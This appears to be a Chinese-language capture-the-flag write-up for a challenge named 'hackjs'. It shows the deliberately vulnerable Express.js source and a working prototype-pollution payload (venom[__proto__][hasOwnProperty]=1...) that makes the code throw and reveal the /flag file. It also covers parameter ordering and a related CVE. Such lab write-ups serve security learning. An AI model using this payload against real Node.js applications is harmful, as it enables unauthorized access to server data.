hackjs

源码如下:

const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
    extended: true
}));
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

    venom = req.body.venom
    console.log(venom);
    console.log(venom.__proto__);
    console.log(venom.hasOwnProperty);
    if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
        try {
            if(venom.hasOwnProperty("text")){
                res.send(venom.text)
            }else{
                res.send("no text detected")
            }
        } catch {
            if (venom.text=="flag") {
                let flag=fs.readFileSync("/flag");
                res.send("Congratulations:"+flag);
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("happy game");
    }
})



app.get('/',
function(req, res, next) {
    res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form>  ');
});

app.listen(80, () => {
  console.log(`listening at port 80`)
}) 

主要就是要venom[welcome]=159753&venom[text]=flag,进入if,然后报错。
先直接给出payload:venom[__proto__][hasOwnProperty]=1&venom[welcome]=159753&venom[text]=flag
通过令hasOwnProperty有一个值,使得它不再是一个函数,所以venom.hasOwnProperty("text")这句将hasOwnProperty当函数使用就会报错
2024-03-17T02:48:44.png
通过console我们看得更详细
2024-03-17T02:49:50.png
注意,这里venom[__proto__][hasOwnProperty]是不能换顺序的,一定要写在最前面
我们改一下顺序看看
2024-03-17T02:51:41.png
2024-03-17T02:52:00.png
还有就是不能用json发包,原因可能是因为这个CVE-2022-24999
按照官方wp的说法是三个里面任意污染一个就可以了。